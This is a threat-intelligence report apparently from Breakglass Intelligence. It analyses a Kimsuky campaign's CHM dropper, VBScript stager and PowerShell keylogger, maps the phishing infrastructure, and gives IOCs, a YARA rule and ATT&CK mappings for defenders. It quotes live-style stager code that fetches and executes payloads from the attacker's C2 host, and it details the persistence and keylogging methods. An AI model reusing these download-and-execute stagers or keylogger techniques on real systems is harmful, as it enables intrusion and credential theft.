We Dumped a Live Kimsuky C2 and Recovered Every Stage of the Kill Chain: CHM Dropper, VBScript Stager, PowerSh

By Breakglass Intelligence

Published: 2026-04-11 · Archived: 2026-05-06 02:01:30 UTC

Table of Contents

TL;DR

On **April 11, 2026**, researcher **@smica83** submitted a CHM file (`api_reference.chm`) to MalwareBazaar tagged `#Kimsuky` . We picked it up and walked the infrastructure. The C2 server at `check[.]nid-log[.]com` had **directory listing enabled** and was serving payloads to anyone who asked. We recovered the complete source code of all three attack stages before the actor can rotate:

- **Stage 1** (6,338 bytes VBScript): Full system reconnaissance — OS, CPU, RAM, processes, AV products, directory listings of Desktop/Documents/Downloads — plus persistence via a scheduled task disguised as

"**Edge Updater**"

- **Stage 2** (449 bytes VBScript → PowerShell): Bridge script that downloads and `Invoke-Expression`s the keylogger
- **Stage 3** (6,234 bytes PowerShell): Complete keylogger with keystroke capture, clipboard monitoring, window tracking, and timed exfiltration using deliberately typo'd User-Agents (`Chremo` instead of Chrome, `Edgo` instead of Edge)

The C2 health check at `/pc/index.php` returns **"Million OK !!!!"** — the same signature Hunt.io documented on older Kimsuky infrastructure in December 2024, except the actor has since **upgraded from Apache 2.4.25 (Win32) PHP 5.6.30 to Apache 2.4.58 (Win64) PHP 8.2.12**. We found the old-generation server still alive on a separate IP, both responding with "Million OK !!!!" — confirming infrastructure continuity.

We then mapped **79+ domains** across 5 C2 IPs spanning Korean VPS resellers (DAOU Technology, UCloud HK, Kaopu Cloud) and traced the infrastructure back to our previously published Kimsuky investigation — the C2 staging server at `27.102.137.38` sits in the **same /16 subnet** as `27.102.138.45` (the `uncork[.]biz` phishing node from the udalyonka cluster), linking these two campaigns to the same operational cell.

What this report adds to the public record

AhnLab ASEC documented Kimsuky's shift from `list.php` to `bootservice.php` endpoints in April 2024, but published only the endpoint names — not the actual payload source code. Hunt.io documented the "Million OK !!!!" health check and server fingerprint in December 2024, but on infrastructure that has since been upgraded.

What our investigation adds:

1. **First public recovery of the complete payload source code** for all three stages of the `bootservice.php` kill chain — recon, persistence, and keylogger
2. **Two previously undocumented C2 endpoints**: `checkservice.php` (PowerShell stager delivery) and `finalservice.php` (exfiltration receiver accepting multipart file uploads)
3. **Novel detection IOCs**: `Global\AlreadyRunning19122345` mutex, `Chremo` / `Edgo` typo'd User-Agents, `Edge Updater` scheduled task, `----c2xkanZvaXU4OTA` multipart boundary
4. **79-domain infrastructure map** — the most comprehensive public mapping of this Kimsuky DDNS phishing farm, including Korean NTS tax impersonation domains and Naver NID credential harvesting at scale
5. **Cross-campaign link** connecting this CHM/bootservice cluster to our previously reported udalyonka/uncork.biz phishing operation via shared DAOU Technology subnet
6. **Server generation tracking** — documenting the actor's upgrade from Win32/PHP 5.6 to Win64/PHP 8.2 while preserving the "Million OK !!!!" beacon signature

If you've already published reporting on `nid-log[.]com`, the `130.94.29.111` cluster, or the `bootservice.php` payload source, please reply or DM — we'll update and credit.

The Kill Chain

On **April 10, 2026**, `api_reference.chm` (MD5: `0ac44ad9cfbc58ed76415f7bc79239f9`) was submitted to MalwareBazaar by @smica83 (h/t @h2jazi for the original lead), tagged `apt`, `chm`, `Kimsuky`. Avast and AVG immediately flagged it as `VBS:Kimsuky-AH [Trj]`. VirusTotal classified the campaign as `downloader.kimsuky`.

The CHM file disguises itself as API documentation. When a victim opens it, `hh.exe` renders the compiled HTML — which contains a hidden object that fires on click, triggering a three-stage LOLBin chain:

```
hh.exe (opens CHM)
  └──> powershell.exe -windowstyle hidden
       |   Writes base64 blob to %USERPROFILE%\Links\Link.dat
       └──> certutil.exe -f -decode Link.dat Link.ini
            └──> wscript.exe //b //e:vbscript Link.ini
                 └──> HTTP GET → check.nid-log[.]com/api/bootservice.php?tag=<random>&query=1
                      └──> Execute(responseText)  ← fileless RCE
```

The `tag` parameter is a random 4-digit number (1–10000) for victim tracking. The `query` parameter selects which payload the server returns. The VBScript uses string concatenation obfuscation to evade static analysis:

```
 Set mx = CreateObject("Microsof"&"t.XML"&"HT"&"TP")
mx.open "GE"&"T", "http://check.nid-log[.]com/api/bootservice.php?"+"tag="+rnd_num+"&query=1", False
mx.Send
Execute(mx.responseText)
```

No file touches disk for the second-stage payload — it's fetched over HTTP and executed directly in memory via VBScript's `Execute()`.

The C2 Server — Directory Listing Enabled

The C2 at `130[.]94[.]29[.]111` runs **Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12** — a Windows box with what appears to be a XAMPP-style deployment. Two ports are open: **80 (HTTP)** and **3389 (RDP)**.

The actor left **directory listing enabled** at the web root:

```
Index of /
 /api/     2023-11-15
 /pc/      2023-11-15
```

The health check endpoint `/pc/index.php` returns:

```
Million OK !!!!
```

This is the same signature Hunt.io documented in December 2024 across a cluster of Kimsuky C2 servers. Their documented fingerprint was Apache/2.4.25 (Win32) PHP/5.6.30 on UCloud HK infrastructure. Ours is

Apache/2.4.58 (Win64) PHP/8.2.12 on LightNode (AS154177). **Same operator, upgraded stack.**

We confirmed this by finding the old-generation server **still alive** at `51[.]79[.]185[.]184` (OVH Canada), also returning "Million OK !!!!" with the exact Apache/2.4.25 (Win32) PHP/5.6.30 fingerprint Hunt.io documented. Both generations running simultaneously.

Other interesting paths that returned 403 (present but access-restricted): `/server-status`, `/server-info`, `/.htaccess`, `/phpmyadmin/`.

Stage 1: Reconnaissance + Persistence (6,338 bytes VBScript)

Endpoint: `GET /api/bootservice.php?tag=<ID>&query=1`

The server returns 6,338 bytes of VBScript that performs comprehensive system profiling:

Reconnaissance collected:

- Computer name, registered owner, manufacturer, model
- OS version and build number
- Total physical memory, processor speed
- Directory listings of: Desktop, Documents, Favorites, Recent, Startup, Program Files, Downloads
- Full process table: filename, ProcessID, SessionID (via `Win32_Process`)
- Installed antivirus: display name, path, GUID, state (via `SecurityCenter2\AntiVirusProduct`)

Persistence planted:

- Creates a scheduled task named **"Edge Updater"** with a 60-minute interval (`PT60M`)
- The task executes `wscript.exe //b //e:vbscript` against a dropped `.ini` file
- The `.ini` is placed in `Shell.Application.NameSpace(32)` (System folder) named `OfficeUpdater_<minute>_<hour>_<day><month>.ini`
- The `.ini` file is a one-liner that fetches and `Execute()`s `bootservice.php?query=6`
- IE/Edge first-run customization is disabled to prevent popups

Exfiltration:

- All recon data is Base64-encoded and POSTed as a multipart form to `/api/finalservice.php`
- Multipart boundary: `----c2xkanZvaXU4OTA`
- Upload filename: `Info.txt`

Stage 2: PowerShell Bridge (449 bytes VBScript)

Endpoint: `GET /api/bootservice.php?tag=<ID>&query=6`

A lightweight 449-byte VBScript that bridges to PowerShell:

```
 powershell -command "$base_url='http://check.nid-log[.]com/api';
$rnd_num=[string](Get-Random -Minimum 1 -Maximum 10000);
$url=$base_url+'/checkservice.php?idx=5&tag='+$rnd_num;
Invoke-Expression (Invoke-RestMethod $url);
LogAction -ur $base_url"
```

The `LogAction` function is defined in the code returned by `checkservice.php` — likely the exfiltration routine.

Stage 3: Full Keylogger (6,234 bytes PowerShell)

Endpoint: `GET /api/checkservice.php?idx=5&tag=<ID>`

This is a complete keylogger with clipboard monitoring and timed exfiltration. Key capabilities:

Feature	Implementation
Keystroke capture	Win32 API: `GetAsyncKeyState`, `GetKeyboardState`, `MapVirtualKey`, `ToUnicode`
Window tracking	Logs active window title changes with timestamps
Clipboard monitoring	Polls clipboard every 1 second for changes
Duplicate prevention	Mutex: `Global\AlreadyRunning19122345`
Log storage	`%APPDATA%\Microsoft\Windows\Templates\Office_Config.xml`
Exfil interval	Randomized 100–140 minutes
Exfil method	Base64 → multipart POST to `/api/finalservice.php`, filename `key`
User-Agent (recon)	`Chremo/87.0.4280.141` — deliberate "Chrome" typo
User-Agent (keylog)	`Edgo/87.0.664.75` — deliberate "Edge" typo
Obfuscation	API function names split into arrays and reassembled at runtime

The deliberate User-Agent typos (`Chremo`, `Edgo`) are a reliable detection signature — they won't match legitimate browser traffic but avoid simple keyword blocking of "Chrome" or "Edge".

Infrastructure: 79 Domains Across 5 IPs

The domain `nid-log[.]com` was registered on **February 26, 2026** via Namecheap with Iceland privacy proxy (withheldforprivacy.com). A ZeroSSL certificate was issued the same day. Google MX and Site Verification were configured — likely for credential exfiltration via Google services.

The domain rotated through **5 IPs in 9 days**:

Date	IP	Provider	Country	Domains	Status
Feb 26	`162.255.119.150`	Namecheap parking	US	2	Redirect
Feb 26	`38.60.220.135`	Kaopu Cloud HK	KR	2	Dead
Feb 26	`118.194.249.109`	UCloud HK	KR	**40**	Proxy up, backend dead
Mar 2	`27.102.137.38`	DAOU Technology	KR	**37**	cPanel, C2 removed
Mar 7	`130.94.29.111`	LightNode Ltd	US	2	**LIVE — current C2**

The pattern is clear: rotate to a new Korean VPS when detection scores climb, then move to a US-based provider (LightNode) to blend with Western traffic.

The DAOU Staging Server (27.102.137.38 — 37 domains)

This IP hosted the richest domain set, revealing the full campaign playbook:

Korean NTS tax phishing: `nid-tax[.]dns.army`, `tax-invoice[.]dns.army`, `pay-tax[.]dns.navy`, `ntax-doc[.]v6.rocks`, `miss-tax[.]dns.navy`, `k-invoice[.]v6.navy`, and more

Naver NID credential theft: `nid-log[.]com`, `nid-log.electric-support[.]v6.rocks`, `nid-htl[.]duckdns.org`, `verify.efine-log[.]kro.kr`

Document delivery lures: `deliver-doc[.]v6.navy`

This server sits at `27.102.137.38` — in the same DAOU Technology AS45996 allocation as `27.102.138.45`, the `chk.uncork[.]biz` phishing node from our previously published investigation of the udalyonka[.]com Kimsuky phishing cluster. Same provider, same /16, same operational cell.

The Fast-Flux Farm (118.194.249.109 — 40 domains)

Forty domains with randomized 5-character subdomain prefixes across `dns.army`, `dns.navy`, and `v6.navy` — a fast-flux C2 rotation pattern using 7 free DDNS providers: dynv6.net, dns.army, dns.navy, v6.rocks, v6.navy, duckdns.org, and kro.kr.

The Naver Phishing Farm (27.102.137.150 — 12+ domains, LIVE)

A separate IP hosting mass-generated Naver credential phishing pages using No-IP DDNS with a `nid-naver{3-letter-code}` naming convention:

- `nid-navertca.servehalflife[.]com` (Apr 7)
- `nid-naverfxc.servecounterstrike[.]com` (Apr 4)
- `nid-naverpep.servequake[.]com` (Apr 1)
- `nid-navercwu.servecounterstrike[.]com` (Mar 20)

- And 8+ more dating back to March 2

This server runs the same **Apache/2.4.58 (Win64) PHP/8.0.30** stack and implements an **anti-bot JavaScript filter** — it sets a `jsok=1` cookie and reloads, then checks additional conditions (likely geo-IP) before serving the phishing page. Only Korean visitors see the lure.

The MD5 `4599ac1bbe483c73064df1353feafd01` referenced in AhnLab ASEC's April 2024 report is a CHM file named `SecurityMail.chm` with an identical kill chain — `hh.exe` → hidden PowerShell → `certutil` decode → `wscript` `Link.ini` → `Execute()`. The same YARA rule (`CHM_File_Executes_JS_Via_PowerShell`) fires on both samples. The difference: the older sample calls `noreplymail[.]space/BitJoker/bootservice.php` instead of `check.nid-log[.]com/api/bootservice.php` . Same tooling, different C2. The sandbox also detected Korean locale geofencing (`ko-KR`) — the CHM checks the victim's language before proceeding.

Detection Guidance

Network Signatures

- HTTP requests to `*/bootservice.php?tag=*&query=*`
- HTTP requests to `*/checkservice.php?idx=*`
- HTTP requests to `*/finalservice.php` with multipart boundary `----c2xkanZvaXU4OTA`
- HTTP responses containing `Million OK !!!!`
- User-Agent strings containing `Chremo/` or `Edgo/`

Host Indicators

- Scheduled task named `Edge Updater` with 60-minute interval
- Files matching `OfficeUpdater_*_*_*.ini` in system directories
- Mutex `Global\AlreadyRunning19122345`
- File creation at `%APPDATA%\Microsoft\Windows\Templates\Office_Config.xml`
- `hh.exe` spawning `powershell.exe -windowstyle hidden` followed by `certutil.exe` then `wscript.exe`

YARA

```
rule Kimsuky_Bootservice_CHM_Dropper {
   meta:
       description = "Kimsuky CHM dropper delivering VBS stager via bootservice.php C2"
       author = "GHOST - Breakglass Intelligence"
       date = "2026-04-11"
       reference = "https://intel.breakglass.tech"
   strings:
       $c2_1 = "bootservice.php" ascii wide
       $c2_2 = "checkservice.php" ascii wide
       $c2_3 = "finalservice.php" ascii wide
```

```
        $c2_4 = "loggerservice.php" ascii wide
        $drop = "Links\\Link" ascii wide
        $ole = "Microsoft.XMLHTTP" ascii wide
        $persist = "OfficeUpdater" ascii wide
        $mutex = "AlreadyRunning19122345" ascii wide
        $ua_1 = "Chremo/" ascii wide
        $ua_2 = "Edgo/" ascii wide
    condition:
        any of ($c2_*) and any of ($drop, $ole, $persist, $mutex, $ua_*)
}
```

IOC Summary

File Hashes

Hash	File	Detection
`1eff237dee95172363bfc0342d0389f809f753a6ec5e6848e57b3fd5482e9793`	api_reference.chm	10/76
`85f8f8a3f28d2956776fbbd0365cdb78ac8dc1e6ed12818ef18caed0bb2f74c8`	Link.ini	7/69
`af50f35701916d3909f2727cdcbde1a7af47f46eb8db3996905b1c0725aa133f`	payload_1.vbs (recon)	8/76
`d7c09e7bf79aa9b786dcd9f870427f4a1110f702646fba9d3835215ad3649d0b`	payload_1.vbs (PS stager)	3/76
`a36576a096db24a1c91327eb547dedf52e5bd4b0d4593b88d9593d377585b922`	bootservice.php response	0/62

Network IOCs

Type	Value	Context
Domain	`nid-log[.]com`	C2 apex
Domain	`check[.]nid-log[.]com`	Active C2 subdomain
IP	`130[.]94[.]29[.]111`	Current C2 (LightNode)
IP	`27[.]102[.]137[.]38`	Staging server (DAOU, 37 domains)
IP	`118[.]194[.]249[.]109`	Fast-flux farm (UCloud HK, 40 domains)
IP	`27[.]102[.]137[.]150`	Live Naver phishing farm

Type	Value	Context
IP	`51[.]79[.]185[.]184`	Old-gen C2, "Million OK !!!!"
URL	`http://check[.]nid-log[.]com/api/bootservice.php`	Payload delivery
URL	`http://check[.]nid-log[.]com/api/checkservice.php`	Keylogger delivery
URL	`http://check[.]nid-log[.]com/api/finalservice.php`	Exfil receiver

Host IOCs

Type	Value
Scheduled Task	`Edge Updater` (PT60M)
Mutex	`Global\AlreadyRunning19122345`
File	`%USERPROFILE%\Links\Link.ini`
File	`%APPDATA%\...\Templates\Office_Config.xml`
File	`OfficeUpdater_*_*_*.ini`
User-Agent	`Chremo/87.0.4280.141`
User-Agent	`Edgo/87.0.664.75`
Multipart Boundary	`----c2xkanZvaXU4OTA`

MITRE ATT&CK

ID	Technique	Evidence
T1566.001	Phishing: Spearphishing Attachment	CHM file delivered to target
T1204.002	User Execution: Malicious File	Victim opens api_reference.chm
T1059.005	Command and Scripting: VBScript	Link.ini, OfficeUpdater.ini
T1059.001	Command and Scripting: PowerShell	checkservice.php keylogger
T1140	Deobfuscate/Decode Files	certutil -f -decode
T1053	Scheduled Task	"Edge Updater" (60-min)

ID	Technique	Evidence
T1036.005	Masquerading	Task named after Edge browser
T1082	System Information Discovery	OS, CPU, RAM, manufacturer
T1057	Process Discovery	Full Win32_Process dump
T1518.001	Security Software Discovery	AV product enumeration
T1083	File and Directory Discovery	Desktop, Documents, Downloads
T1056.001	Input Capture: Keylogging	GetAsyncKeyState keylogger
T1115	Clipboard Data	Clipboard polling every 1s
T1071.001	Web Protocols (HTTP)	bootservice/checkservice/finalservice
T1132.001	Data Encoding: Base64	Payload and exfil encoding
T1041	Exfiltration Over C2	Multipart POST to finalservice.php

---

Attribution

Kimsuky (APT43 / Velvet Chollima / Black Banshee) — DPRK — HIGH confidence

- Avast/AVG signature: `VBS:Kimsuky-AH [Trj]`
- VirusTotal classification: `downloader.kimsuky`
- ThreatFox: `nid-log[.]com` tagged `win.kimsuky` (confidence 75, reporter Lenny_3BO)
- AhnLab ASEC: identical kill chain documented in April 2024 report
- Target: South Korean Naver users (domain mimics `nid.naver.com`)
- XAMPP-on-Windows deployment preference matches documented Kimsuky operational patterns
- DAOU Technology hosting overlap with our previously published Kimsuky phishing investigation

---

Methodology Disclaimer

This investigation employed passive intelligence collection (VirusTotal, crt.sh, WHOIS, DNS, certificate transparency, Shodan InternetDB, URLScan, ThreatFox, MalwareBazaar) and active inspection of services publicly accessible without authentication. Where the C2 server returned payload content in response to HTTP GET requests without any authentication, that content was collected and analyzed. No destructive actions were taken. No customer data was exfiltrated. No services were disrupted.

GHOST — Breakglass Intelligence "One indicator. Total infrastructure."

Source: https://intel.breakglass.tech/post/kimsuky-chm-nidlog-c2-dump-full-payload-recovery